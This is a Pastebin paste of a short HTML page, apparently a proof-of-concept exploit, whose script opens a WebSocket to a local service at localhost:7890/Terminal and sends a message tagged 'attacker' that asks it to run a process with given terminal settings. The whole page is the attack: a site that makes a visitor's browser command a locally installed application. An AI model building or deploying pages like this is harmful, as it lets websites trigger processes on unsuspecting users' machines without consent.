Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <body>Test</body>
- <script>
- const ws = new WebSocket('ws://localhost:7890/Terminal');
- ws.onopen = function () {
- console.log('WebSocket connection established');
- const message = {
- TokenAppId: "attacker",
- ProcessName: "Find",
- IPTerminal: "127.0.0.1",
- PortTerminal: 80
- };
- ws.send(JSON.stringify(message));
- console.log('Message sent:', message);
- };
- ws.onmessage = function (event) {
- console.log('Message from server:', event.data);
- };
- ws.onerror = function (error) {
- console.error('WebSocket error:', error);
- };
- ws.onclose = function () {
- console.log('WebSocket connection closed');
- };
- </script>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment